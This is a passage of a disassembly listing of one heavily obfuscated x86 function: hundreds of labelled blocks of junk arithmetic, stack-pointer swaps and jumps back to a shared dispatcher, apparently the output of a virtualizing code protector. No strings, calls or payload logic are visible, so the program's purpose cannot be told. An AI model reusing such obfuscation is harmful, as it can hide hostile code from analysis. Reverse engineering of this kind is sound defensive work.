		jmp	loc_593D04
; ---------------------------------------------------------------------------


loc_58F9D1:				; CODE XREF: sub_58A891+1123Aj
		push	eax
		mov	eax, 1CB45BF5h
		jmp	loc_595B4B
; ---------------------------------------------------------------------------


loc_58F9DC:				; CODE XREF: sub_58A891+7CC5j
		mov	dx, word ptr [esp+1Ch+var_1C]
		jmp	loc_58EF17
; ---------------------------------------------------------------------------


loc_58F9E5:				; CODE XREF: sub_58A891+6633j
		push	ecx
		jmp	loc_5900F0
; ---------------------------------------------------------------------------


loc_58F9EB:				; CODE XREF: sub_58A891+8F1Dj
		push	dword ptr [edi+eax*4]
		push	[esp+24h+var_24]
		jmp	loc_58EB0D
; ---------------------------------------------------------------------------


loc_58F9F6:				; CODE XREF: sub_58A891+846Aj
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp+28h+var_28]
		pop	esp
		sub	edx, 0FFFFFFFFh
		add	edx, 7429209Dh
		not	edx
		xor	edx, 70A5923Eh
		and	eax, edx
		push	[esp+24h+var_24]
		pop	edx
		jmp	loc_594D48
; ---------------------------------------------------------------------------


loc_58FA24:				; CODE XREF: sub_58A891+D40Ej
		add	edi, 1F9D14A5h
		sub	esp, 4
		mov	[esp+28h+var_28], edi
		jmp	loc_594090
; ---------------------------------------------------------------------------


loc_58FA38:				; CODE XREF: sub_58A891+DD1Ej
		xor	edi, 84446E32h
		mov	eax, edi
		pop	edi
		not	eax
		jmp	loc_5951D1
; ---------------------------------------------------------------------------


loc_58FA48:				; CODE XREF: sub_58A891+D693j
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		jmp	loc_5998C6
; ---------------------------------------------------------------------------


loc_58FA5C:				; CODE XREF: sub_58A891:loc_59661Aj
		neg	eax
		jmp	loc_5910AA
; ---------------------------------------------------------------------------


loc_58FA63:				; CODE XREF: sub_58A891+4F79j
		mov	edx, 5CEB303Fh
		mov	ebp, 278D79C8h
		xor	ebp, edx
		pop	edx
		jmp	loc_58FB52
; ---------------------------------------------------------------------------


loc_58FA75:				; CODE XREF: sub_58A891+105FFj
		mov	ecx, 528C64B5h
		jmp	loc_5986CC
; ---------------------------------------------------------------------------


loc_58FA7F:				; CODE XREF: sub_58A891+B226j
		add	ebx, edx
		pop	edx
		jmp	loc_58E6B0
; ---------------------------------------------------------------------------


loc_58FA87:				; CODE XREF: sub_58A891+511Bj
		push	edi
		push	678h
		jmp	loc_58F8AC
; ---------------------------------------------------------------------------


loc_58FA92:				; CODE XREF: sub_58A891+CE7Ej
		push	esi
		jmp	loc_590A97
; ---------------------------------------------------------------------------


loc_58FA98:				; CODE XREF: sub_58A891+D913j
		add	esp, 4
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		jmp	loc_597F85
; ---------------------------------------------------------------------------


loc_58FAB2:				; CODE XREF: sub_58A891+4988j
		add	ebp, 782A1097h
		pop	eax
		xor	ebp, [esp+24h+var_24]
		xor	[esp+24h+var_24], ebp
		jmp	loc_598C16
; ---------------------------------------------------------------------------


loc_58FAC4:				; CODE XREF: sub_58A891+87CCj
		mov	ebx, eax
		jmp	loc_591A44
; ---------------------------------------------------------------------------


loc_58FACB:				; CODE XREF: sub_58A891+451Fj
		sub	ecx, 7AF77BF1h
		mov	ebp, ecx
		pop	ecx
		add	edi, ebp
		mov	ebp, [esp-0Ch+arg_4]
		add	esp, 4
		xor	edi, [esp-10h+arg_8]
		xor	[esp-10h+arg_8], edi
		xor	edi, [esp-10h+arg_8]
		mov	esp, [esp-10h+arg_8]
		shl	byte ptr [esp-10h+arg_8], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FAF1:				; CODE XREF: sub_58A891+7847j
		push	2487h
		push	esp
		pop	dword ptr [esp+0]
		add	[esp-8+arg_0], 4
		jmp	loc_591DB9
; ---------------------------------------------------------------------------


loc_58FB06:				; CODE XREF: sub_58A891+DA17j
		xchg	esi, [esp-8+arg_0]
		jmp	loc_591A67
; ---------------------------------------------------------------------------


loc_58FB0E:				; CODE XREF: sub_58A891+A595j
		add	esp, 4
		push	[esp-0Ch+arg_4]
		jmp	loc_5966F0
; ---------------------------------------------------------------------------


loc_58FB19:				; CODE XREF: sub_58A891+67C9j
		mov	ecx, 709B25F4h
		add	ecx, 0FEB4F6D2h
		add	esi, ecx
		pop	ecx
		mov	edi, [esp-0Ch+arg_4]
		add	esp, 4
		jmp	loc_59A352
; ---------------------------------------------------------------------------


loc_58FB35:				; CODE XREF: sub_58A891+F57Aj
		mov	esp, [esp-10h+arg_8]
		imul	ecx
		push	1559h
		mov	[esp-0Ch+arg_4], edx
		push	eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FB49:				; CODE XREF: sub_58A891+9033j
		push	[esp-4+arg_0]
		jmp	loc_5997EC
; ---------------------------------------------------------------------------


loc_58FB52:				; CODE XREF: sub_58A891+51DFj
		xor	ebp, 7B6649F5h
		add	edi, 6E470113h
		sub	edi, ebp
		sub	edi, 6E470113h
		pop	ebp
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	word ptr [esp+4+var_4],	cx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FB74:				; CODE XREF: sub_58A891+3FA4j
		push	ebx
		mov	eax, [esp+44h+var_46+2]
		add	esp, 4
		mov	ebx, [esp+40h+var_40]
		add	esp, 4
		push	ebx
		not	[esp+40h+var_40]
		pop	ebx
		push	eax
		jmp	loc_5989B6
; ---------------------------------------------------------------------------


loc_58FB8C:				; CODE XREF: sub_58A891+82F5j
		jmp	loc_590A1B
; ---------------------------------------------------------------------------


loc_58FB91:				; CODE XREF: sub_58A891+4EB0j
		pop	eax
		add	eax, 3C3A2EDFh
		jmp	loc_59BA77
; ---------------------------------------------------------------------------


loc_58FB9C:				; CODE XREF: sub_58A891+99CDj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FBA1:				; CODE XREF: sub_58A891+A0D9j
		pop	ebx
		jmp	loc_5946B1
; ---------------------------------------------------------------------------


loc_58FBA7:				; CODE XREF: sub_58A891+4EA5j
		add	ah, 0F9h
		jmp	loc_59134B
; ---------------------------------------------------------------------------


loc_58FBAF:				; CODE XREF: sub_58A891+AF7Dj
		add	esp, 4
		pop	edx
		xor	eax, esi
		push	[esp+3Ch+var_3C]
		mov	esi, [esp+40h+var_40]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_59A478
; ---------------------------------------------------------------------------


loc_58FBC9:				; CODE XREF: sub_58A891+712Cj
		push	ebx
		jmp	loc_5995E6
; ---------------------------------------------------------------------------


loc_58FBCF:				; CODE XREF: sub_58A891+8255j
		add	[esp+44h+var_40], edx
		mov	edx, [esp+44h+var_46+2]
		add	esp, 4
		push	[esp+40h+var_40]
		pop	edx
		sub	esp, 4
		mov	[esp+44h+var_46+2], edx
		push	esp
		jmp	loc_594656
; ---------------------------------------------------------------------------


loc_58FBEC:				; CODE XREF: sub_58A891+654Ej
		push	[esp+48h+var_4A+2]
		pop	eax
		add	esp, 4
		push	3BFAh
		mov	[esp+48h+var_4A+2], ebp
		jmp	loc_59610C
; ---------------------------------------------------------------------------


loc_58FC00:				; CODE XREF: sub_58A891+559Ej
		push	3F33h
		mov	[esp+4Ch+var_4E+2], ebx
		mov	bh, 0ECh
		sub	bh, 0A2h
		add	bh, 0D3h
		jmp	loc_596C9E
; ---------------------------------------------------------------------------


loc_58FC15:				; CODE XREF: sub_58A891+7E44j
					; sub_58A891+1003Dj
		sub	ah, 2
		inc	ah
		sub	ah, 25h
		sub	ah, 5
		jmp	loc_595E28
; ---------------------------------------------------------------------------


loc_58FC25:				; CODE XREF: sub_58A891+3F26j
		add	esp, 4
		push	6ED0h
		jmp	loc_592C6C
; ---------------------------------------------------------------------------


loc_58FC35:				; CODE XREF: sub_58A891+9AEBj
		mov	ch, 6Ah
		jmp	loc_58F3F4
; ---------------------------------------------------------------------------


loc_58FC3C:				; CODE XREF: sub_58A891+93B3j
		add	ebp, 4F072DBFh
		pop	ecx
		add	eax, 2F9C4FBAh
		push	edi
		mov	edi, 534C2CB8h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		or	edi, 133EF9h
		or	edi, 17FC31E7h
		and	edi, 0B6C4C36h
		xor	edi, 33826F18h
		jmp	loc_596864
; ---------------------------------------------------------------------------


loc_58FC71:				; CODE XREF: sub_58A891+DD11j
		pop	esi
		dec	esi
		jle	loc_595204
		dec	esi
		js	loc_59B1B2
		xor	esi, 675E6F24h
		mov	edx, esi
		pop	esi
		add	ecx, 1AA35F65h
		jmp	loc_59540C
; ---------------------------------------------------------------------------


loc_58FC94:				; CODE XREF: sub_58A891+79CAj
		shr	esi, 1
		sub	esi, 0FB0862Ah
		jmp	loc_5950C7
; ---------------------------------------------------------------------------


loc_58FCA1:				; CODE XREF: sub_58A891+C4A7j
		pop	eax
		push	edi
		push	esp
		jmp	loc_5925C4
; ---------------------------------------------------------------------------


loc_58FCA9:				; CODE XREF: sub_58A891+E833j
		mov	edi, ebp
		jmp	loc_590112
; ---------------------------------------------------------------------------


loc_58FCB0:				; CODE XREF: sub_58A891+E548j
		xor	ebp, edi
		pop	edi
		add	ebx, 607F5119h
		push	ecx
		mov	ecx, 39F00F21h
		sub	ecx, 2B2B763Bh
		add	ecx, 4FDF9355h
		add	ebx, ecx
		pop	ecx
		add	ebx, ebp
		jmp	loc_59AF49
; ---------------------------------------------------------------------------


loc_58FCD5:				; CODE XREF: sub_58A891+4005j
		add	[esp+48h+var_4A+2], 741510ECh
		pop	eax
		jmp	loc_58F964
; ---------------------------------------------------------------------------


loc_58FCE2:				; CODE XREF: sub_58A891+6E9Fj
		mov	eax, 4
		add	[esp+44h+var_40], eax
		pop	eax
		pop	eax
		jmp	loc_58EC09
; ---------------------------------------------------------------------------


loc_58FCF2:				; CODE XREF: sub_58A891+7CACj
		add	edx, 4
		push	esi
		mov	esi, 230117E7h
		jmp	loc_5949C8
; ---------------------------------------------------------------------------


loc_58FD03:				; CODE XREF: sub_58A891+A1A2j
		mov	esp, [esp+40h+var_40]
		mov	[esp+40h+var_40], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FD0E:				; CODE XREF: sub_58A891+EB80j
		sub	edi, 45633F95h
		shl	edi, 2
		jmp	loc_59A796
; ---------------------------------------------------------------------------


loc_58FD1C:				; CODE XREF: sub_58A891+A64Cj
		mov	dh, 4Fh
		not	dh
		add	dh, 66h
		jbe	loc_59523D
		jmp	loc_59B427
; ---------------------------------------------------------------------------
		jmp	loc_59B485
; ---------------------------------------------------------------------------
		pop	esi


loc_58FD34:				; CODE XREF: sub_58A891+89E4j
		push	edx
		mov	edx, 4A54B343h
		add	eax, edx
		pop	edx
		and	edi, eax
		pop	eax
		shl	edi, 4
		xor	edi, 1B869014h
		add	ebx, edi
		pop	edi
		jmp	loc_594734
; ---------------------------------------------------------------------------


loc_58FD51:				; CODE XREF: sub_58A891+61B4j
		not	ch
		shl	ch, 2
		add	ch, 47h
		add	al, ch
		pop	ecx
		mov	ecx, [esp+30h+var_30]
		jmp	loc_592966
; ---------------------------------------------------------------------------


loc_58FD64:				; DATA XREF: sub_58A891+3C23o
		push	small 31C3h
		push	sp
		pop	small word ptr [esp+0Ch+var_C]
		push	small 3D13h
		mov	word ptr [esp+0Ch+var_C], cx
		push	ebp
		jmp	loc_58F905
; ---------------------------------------------------------------------------


loc_58FD7C:				; CODE XREF: sub_58A891+9C1Ej
		push	ecx
		mov	cl, 0CCh
		or	cl, 68h
		dec	cl
		jmp	loc_5970ED
; ---------------------------------------------------------------------------


loc_58FD89:				; CODE XREF: sub_58A891+D7DBj
		xor	ebp, 3BFC4CB3h
		not	ebp
		jmp	loc_594A89
; ---------------------------------------------------------------------------


loc_58FD96:				; CODE XREF: sub_58A891+4550j
		pop	edi
		xor	ecx, [esp-18h+arg_E+2]
		xor	[esp-18h+arg_E+2], ecx
		jmp	loc_593E7C
; ---------------------------------------------------------------------------


loc_58FDA2:				; CODE XREF: sub_58A891+5D76j
					; sub_58A891:loc_59B388j
		add	ecx, 4
		push	ebp
		jmp	loc_5962EE
; ---------------------------------------------------------------------------


loc_58FDAE:				; CODE XREF: sub_58A891+BB78j
		add	edi, edx
		pop	edx
		jmp	loc_597E0B
; ---------------------------------------------------------------------------


loc_58FDB6:				; CODE XREF: sub_58A891+5B47j
		inc	edi
		not	edi
		sub	edi, 5478AD8Ah
		jmp	loc_594AAC
; ---------------------------------------------------------------------------


loc_58FDC4:				; CODE XREF: sub_58A891+B74Bj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-18h+arg_E+2]
		pop	esp
		mov	[esp-1Ch+arg_18], ebx
		mov	ebx, 4
		push	eax
		mov	eax, 32DF6A5Dh
		push	ebp
		mov	ebp, 395B2398h
		jmp	loc_58F3B5
; ---------------------------------------------------------------------------


loc_58FDEF:				; CODE XREF: sub_58A891+3E4Dj
		add	eax, 2
		xor	eax, [esp+4Ch+var_4E+2]
		xor	[esp+4Ch+var_4E+2], eax
		xor	eax, [esp+4Ch+var_4E+2]
		mov	esp, [esp+4Ch+var_4E+2]
		inc	word ptr [esp+4Ch+var_4E+2]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FE08:				; CODE XREF: sub_58A891+9F5Dj
		xor	bl, al
		pop	eax
		mov	dl, bl
		pop	ebx
		xor	al, dl
		mov	dx, word ptr [esp+48h+var_4A+2]
		push	4707h
		mov	[esp+4Ch+var_4E+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+4Ch+var_4E+2]
		pop	esp
		push	ecx
		jmp	loc_58FC00
; ---------------------------------------------------------------------------


loc_58FE34:				; CODE XREF: sub_58A891+D238j
		mov	ebx, esp
		jmp	loc_591A16
; ---------------------------------------------------------------------------


loc_58FE3B:				; CODE XREF: sub_58A891+4F95j
					; sub_58A891+B611j
		push	esp
		pop	eax
		jmp	loc_591C5A
; ---------------------------------------------------------------------------


loc_58FE42:				; CODE XREF: sub_58A891+10B08j
		jbe	loc_594A5E
		add	ecx, 21EB54C5h
		jns	loc_5913FF
		neg	ecx
		jno	loc_58F15E
		mov	al, 6Fh
		or	al, 44h


loc_58FE60:				; CODE XREF: sub_58A891+B1E7j
		sub	ebx, 4
		push	ebx
		push	[esp+10h+var_C]
		push	[esp+14h+var_14]
		jmp	loc_5967D4
; ---------------------------------------------------------------------------


loc_58FE70:				; CODE XREF: sub_58A891+DD36j
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		push	ebp
		mov	ebp, 70CF5632h
		and	ebp, 6761672Ch
		or	ebp, 3C4302E0h
		add	ebp, 0ABA1D44Ch
		add	eax, ebp
		pop	ebp
		sub	eax, ebx
		push	edx
		mov	edx, 57BC17A0h
		jmp	loc_593132
; ---------------------------------------------------------------------------


loc_58FE9E:				; DATA XREF: sub_58A891+3B03o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+4+var_4], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FEAC:				; DATA XREF: sub_58A891+3A43o
		mov	sp, word ptr [esp+8+var_8]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FEB5:				; CODE XREF: sub_58A891+7FA0j
		mov	eax, [esp+8+var_8]
		push	esi
		sub	esp, 4
		push	esp
		jmp	loc_5951C9
; ---------------------------------------------------------------------------


loc_58FEC5:				; CODE XREF: sub_58A891+EC5Dj
		add	ebx, edi
		push	esi
		mov	esi, 18536057h
		not	esi
		sub	esi, 0B284927h
		add	esi, 9ACDB1F5h
		sub	ebx, esi
		jmp	loc_596DA2
; ---------------------------------------------------------------------------


loc_58FEE2:				; CODE XREF: sub_58A891+10F67j
		push	edi
		mov	edi, 4AA71DD8h
		not	edi
		not	edi
		xor	edi, 79F50510h
		sub	edi, 47596F38h
		add	edi, 28EA8E9Ch
		sub	edx, edi
		pop	edi
		sub	eax, 620D27E8h
		jmp	loc_5996A0
; ---------------------------------------------------------------------------


loc_58FF0B:				; CODE XREF: sub_58A891+811Ej
		xor	ecx, 75F77DEEh
		add	ecx, 0E33D7CD5h
		sub	ebp, ecx
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_59B2FB
; ---------------------------------------------------------------------------


loc_58FF24:				; CODE XREF: sub_58A891+F206j
		mov	edi, 8031AB7h
		mov	esi, edi
		pop	edi
		or	esi, 6BF9171Bh
		jmp	loc_59BB59
; ---------------------------------------------------------------------------


loc_58FF37:				; CODE XREF: sub_58A891+4BAFj
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_592307
; ---------------------------------------------------------------------------


loc_58FF48:				; CODE XREF: sub_58A891+6960j
					; sub_58A891+ECCCj
		sub	edi, ecx
		sub	edi, 1A245C63h
		mov	ecx, [esp+0]
		add	esp, 4
		xchg	edi, [esp+4Ch+var_4E+2]
		pop	esp
		mov	word ptr [esp+48h+var_4A+2], ax
		jmp	loc_5918A1
; ---------------------------------------------------------------------------


loc_58FF66:				; CODE XREF: sub_58A891+DE99j
		sub	ecx, 7EFB5249h
		jmp	loc_58E80A
; ---------------------------------------------------------------------------


loc_58FF71:				; CODE XREF: sub_58A891+113A9j
		sub	ebx, 4
		xchg	ebx, [esp+48h+var_4A+2]
		jmp	loc_58ED6F
; ---------------------------------------------------------------------------


loc_58FF7F:				; CODE XREF: sub_58A891+D683j
		add	ebp, 4
		xchg	ebp, [esp+48h+var_4A+2]
		pop	esp
		add	edx, 4
		push	ecx
		mov	ecx, 2
		push	ebp
		mov	ebp, 5AC05F7Bh
		add	edx, ebp
		pop	ebp
		add	edx, ecx
		sub	edx, 5AC05F7Bh
		mov	ecx, [esp+48h+var_4A+2]
		jmp	loc_593BB6
; ---------------------------------------------------------------------------


loc_58FFAB:				; CODE XREF: sub_58A891+98E7j
		sub	bl, cl
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp+4Ch+var_4E+2]
		pop	esp
		mov	word ptr [esp+48h+var_4A+2], dx
		jmp	loc_595C1D
; ---------------------------------------------------------------------------


loc_58FFC9:				; CODE XREF: sub_58A891+F4EFj
		ror	word ptr [esp+48h+var_4A+2], cl
		pushf
		jmp	loc_5995FA
; ---------------------------------------------------------------------------


loc_58FFD3:				; CODE XREF: sub_58A891+6E71j
		mov	edx, 63D679F6h
		sub	edx, 1
		jmp	loc_599562
; ---------------------------------------------------------------------------


loc_58FFE0:				; CODE XREF: sub_58A891+645Cj
		push	ebx
		mov	bl, 46h
		jmp	loc_58EED8
; ---------------------------------------------------------------------------


loc_58FFE8:				; CODE XREF: sub_58A891+5003j
		mov	ebx, 6C3698Fh
		xor	ebx, 1BC303DCh
		jmp	loc_593F97
; ---------------------------------------------------------------------------


loc_58FFF8:				; CODE XREF: sub_58A891+FC68j
		shr	ebp, 4
		shl	ebp, 3
		push	ecx
		jmp	loc_593C37
; ---------------------------------------------------------------------------


loc_590004:				; CODE XREF: sub_58A891+8165j
		push	ebx
		jmp	loc_58F3A8
; ---------------------------------------------------------------------------


loc_59000A:				; CODE XREF: sub_58A891+73A8j
		mov	ebp, 64941A99h
		shl	ebp, 3
		add	ebp, 5DC33701h
		jmp	loc_59A784
; ---------------------------------------------------------------------------


loc_59001D:				; CODE XREF: sub_58A891+A4DBj
		add	eax, 670F24E3h
		push	[esp+1Ch+var_1C]
		jmp	loc_592754
; ---------------------------------------------------------------------------


loc_59002A:				; CODE XREF: sub_58A891+D6D8j
		pop	edx
		sub	al, 0B9h
		sub	al, bl
		add	al, 0B9h
		jmp	loc_58F1BD
; ---------------------------------------------------------------------------


loc_590036:				; CODE XREF: sub_58A891+5F03j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ebp
		push	7BF336E4h
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		dec	ebp
		jnp	loc_59589F
		xor	ebp, 2B077B46h
		jg	loc_59407E
		and	bh, 2Bh


loc_59006A:				; CODE XREF: sub_58A891+F2F9j
					; sub_58A891+1005Aj
		push	edx
		mov	dh, ch
		push	147Ah
		mov	[esp+20h+var_20], ebx
		mov	bh, dh
		jmp	loc_596742
; ---------------------------------------------------------------------------


loc_59007C:				; CODE XREF: sub_58A891:loc_5996C6j
		shl	dh, 6
		jns	loc_593791
		push	dx
		not	byte ptr [esp+22h+var_24+3]
		pop	dx
		xor	dh, 0B5h
		mov	al, dh
		pop	edx
		pop	edx


loc_590094:				; CODE XREF: sub_58A891+CA37j
		neg	ecx
		jz	loc_5953E1
		or	ecx, 59082FA7h
		jmp	loc_58F8F2
; ---------------------------------------------------------------------------


loc_5900A7:				; CODE XREF: sub_58A891+10E53j
		sub	ecx, 7D2C68CAh
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_599D74
; ---------------------------------------------------------------------------


loc_5900B8:				; CODE XREF: sub_58A891+CE91j
		push	[esp+14h+var_10]
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		pop	[esp+14h+var_14]
		pop	esp
		shl	[esp+0Ch+var_C], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5900CF:				; CODE XREF: sub_58A891+936Fj
		mov	edx, ebx
		mov	ecx, edx
		pop	edx
		pop	ebx
		push	0EABFA5B6h
		pop	eax
		sub	eax, 59EF5A13h
		add	eax, ecx
		add	eax, 59EF5A13h
		pop	ecx
		add	ecx, eax
		pop	eax
		jmp	loc_58EAEB
; ---------------------------------------------------------------------------


loc_5900F0:				; CODE XREF: sub_58A891+5155j
					; sub_58A891:loc_595707j
		mov	ecx, 25ED20EBh
		xor	ecx, 25ED20EFh
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		shr	dh, 2
		not	dh
		jmp	loc_594B14
; ---------------------------------------------------------------------------


loc_590112:				; CODE XREF: sub_58A891+541Aj
					; sub_58A891+BEC1j
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		push	ebp
		mov	ebp, 309C571Dh
		jmp	loc_59A290
; ---------------------------------------------------------------------------


loc_590121:				; CODE XREF: sub_58A891+99E1j
		mov	edx, 451A3250h
		xor	edx, 20A029CCh
		shr	edx, 4
		push	77A7h
		mov	[esp+54h+var_54], ecx
		jmp	loc_5988C2
; ---------------------------------------------------------------------------


loc_59013C:				; DATA XREF: sub_58A891+3A0Fo
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_597151
; ---------------------------------------------------------------------------


loc_590145:				; CODE XREF: sub_58A891+4020j
		pop	esp
		or	eax, eax
		jz	loc_593C4F
		sub	esp, 4
		mov	[esp+44h+var_46+2], eax
		mov	eax, 1Ch
		sub	eax, 3746E68h
		add	eax, edi
		add	eax, 3746E68h
		push	dword ptr [eax]
		push	[esp+48h+var_4A+2]
		mov	ecx, [esp+4Ch+var_4E+2]
		add	esp, 4
		add	esp, 4
		mov	eax, [esp+44h+var_46+2]
		jmp	loc_58ECEF
; ---------------------------------------------------------------------------


loc_59017E:				; CODE XREF: sub_58A891+8721j
					; sub_58A891+10F7Dj
		mov	ebp, esp
		jmp	loc_59876C
; ---------------------------------------------------------------------------


loc_590185:				; CODE XREF: sub_58A891+11285j
		mov	eax, [esp+44h+var_46+2]
		add	esp, 4
		push	eax
		jmp	loc_59773E
; ---------------------------------------------------------------------------


loc_590194:				; CODE XREF: sub_58A891+6A67j
		push	[esp+44h+var_46+2]
		pop	ebp
		jmp	loc_5972E5
; ---------------------------------------------------------------------------


loc_59019D:				; CODE XREF: sub_58A891+482Aj
		shl	dh, 1
		jmp	loc_595CC6
; ---------------------------------------------------------------------------


loc_5901A4:				; CODE XREF: sub_58A891+DC6Cj
		jp	loc_593EA0
		jmp	loc_597BD0
; ---------------------------------------------------------------------------


loc_5901AF:				; CODE XREF: sub_58A891+3D4Cj
		mov	ebx, 400052h
		neg	ebx
		xor	ebx, 0A5FEEE19h
		sub	eax, ebx
		pop	ebx
		sub	eax, ebp
		add	eax, 5A4111B7h
		pop	ebp
		xor	ebx, eax
		push	0E81h
		mov	[esp+38h+var_38], ecx
		mov	ecx, 2Ch
		add	ecx, 65C122F9h
		sub	ecx, 667260C3h
		add	ecx, edi
		push	edx
		mov	edx, 667260C3h
		add	ecx, edx
		pop	edx
		jmp	loc_59377A
; ---------------------------------------------------------------------------


loc_5901F2:				; CODE XREF: sub_58A891+BF3Ej
		rol	[esp+38h+var_38], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5901FB:				; CODE XREF: sub_58A891+11115j
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		jmp	loc_59B70E
; ---------------------------------------------------------------------------


loc_590207:				; CODE XREF: sub_58A891+B96Ej
		mov	[esp+40h+var_40], edi
		sub	esp, 4
		mov	[esp+44h+var_46+2], esp
		add	[esp+44h+var_46+2], 4
		pop	edi
		push	eax
		push	4
		pop	eax
		add	edi, eax
		mov	eax, [esp+44h+var_46+2]
		jmp	loc_596E6C
; ---------------------------------------------------------------------------


loc_590229:				; CODE XREF: sub_58A891+4975j
		pop	ebx
		mov	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 7D3A600Fh
		sub	ecx, esi
		jmp	loc_59946E
; ---------------------------------------------------------------------------


loc_59023A:				; CODE XREF: sub_58A891+8A83j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59023F:				; CODE XREF: sub_58A891+9F65j
		pop	esp
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 32D95DA7h
		shl	ecx, 3
		add	ecx, 8B936AA5h
		push	eax
		mov	eax, 22921ADBh
		shl	eax, 4
		jmp	loc_59027E
; ---------------------------------------------------------------------------


loc_59025F:				; CODE XREF: sub_58A891+D5EAj
		add	edi, 4
		jmp	loc_5953E1
; ---------------------------------------------------------------------------


loc_59026A:				; DATA XREF: sub_58A891+3C13o
		push	[esp+8+var_8]
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		jmp	loc_590421
; ---------------------------------------------------------------------------


loc_590279:				; CODE XREF: sub_58A891+D1C8j
		jmp	loc_598F01
; ---------------------------------------------------------------------------


loc_59027E:				; CODE XREF: sub_58A891+59C9j
		push	edx
		mov	edx, 63D361A1h
		not	edx
		dec	edx
		sub	edx, 8171B9FBh
		xor	eax, edx
		pop	edx
		add	ebp, eax
		jmp	loc_592FB7
; ---------------------------------------------------------------------------


loc_590297:				; CODE XREF: sub_58A891+894Aj
					; sub_58A891+C4A1j
		push	[esp+20h+var_20]
		pop	edx
		push	ebx
		jmp	loc_599532
; ---------------------------------------------------------------------------


loc_5902A1:				; CODE XREF: sub_58A891+A0D2j
		not	eax
		xor	eax, 613F44C3h
		neg	eax
		or	eax, 4C6F55DBh
		xor	eax, 6FFF75FFh
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp+20h+var_20]
		pop	esp
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 0DF94449h
		mov	ebp, ecx
		jmp	loc_591E44
; ---------------------------------------------------------------------------


loc_5902CD:				; CODE XREF: sub_58A891:loc_5984E2j
					; sub_58A891+F224j
		sub	ecx, esi
		pop	esi
		push	6DB2h
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 12895A05h
		add	ecx, ebx
		pop	ebx
		push	0
		sub	[esp+1Ch+var_1C], ecx
		pop	ecx
		push	ebx
		jmp	loc_5909E8
; ---------------------------------------------------------------------------


loc_5902EF:				; CODE XREF: sub_58A891+A4BAj
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+20h+var_1C]
		jmp	loc_599614
; ---------------------------------------------------------------------------

locret_590302:				; CODE XREF: sub_58A891+A025j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590308:				; CODE XREF: sub_58A891+108C1j
		dec	edx
		or	edx, 7C3114F8h
		push	edx
		inc	[esp+28h+var_28]
		pop	edx
		shl	edx, 7
		push	0
		jmp	loc_591C94
; ---------------------------------------------------------------------------


loc_590321:				; CODE XREF: sub_58A891:loc_5972B1j
		push	ebp
		jmp	loc_595707
; ---------------------------------------------------------------------------


loc_590327:				; CODE XREF: sub_58A891+101D3j
		mov	edi, [esp+2Ch+var_2C]
		add	esp, 4
		add	esi, 4
		jmp	loc_59828B
; ---------------------------------------------------------------------------


loc_590335:				; CODE XREF: sub_58A891+A5D2j
		pop	edx
		push	ebx
		jmp	loc_59496F
; ---------------------------------------------------------------------------


loc_59033C:				; CODE XREF: sub_58A891+102E3j
		push	ebx
		xor	[esp+2Ch+var_2C], 18434264h
		pop	edi
		xor	edi, 18434264h
		jmp	loc_595849
; ---------------------------------------------------------------------------


loc_590350:				; CODE XREF: sub_58A891+8059j
		sub	eax, 5F90D127h
		mov	esi, eax
		mov	eax, [esp+28h+var_28]
		add	esp, 4
		sub	eax, 68AB76A9h
		add	eax, esi
		jmp	loc_59289D
; ---------------------------------------------------------------------------


loc_590369:				; CODE XREF: sub_58A891+84E1j
		jmp	loc_59281A
; ---------------------------------------------------------------------------


loc_59036E:				; CODE XREF: sub_58A891+AD76j
		add	edi, eax
		jmp	loc_591DDE
; ---------------------------------------------------------------------------


loc_590375:				; CODE XREF: sub_58A891+3DF2j
		xor	ecx, 518E4AB8h
		ja	loc_59776A
		xor	ecx, 5B6D9333h
		mov	eax, ecx
		jmp	loc_5910C7
; ---------------------------------------------------------------------------


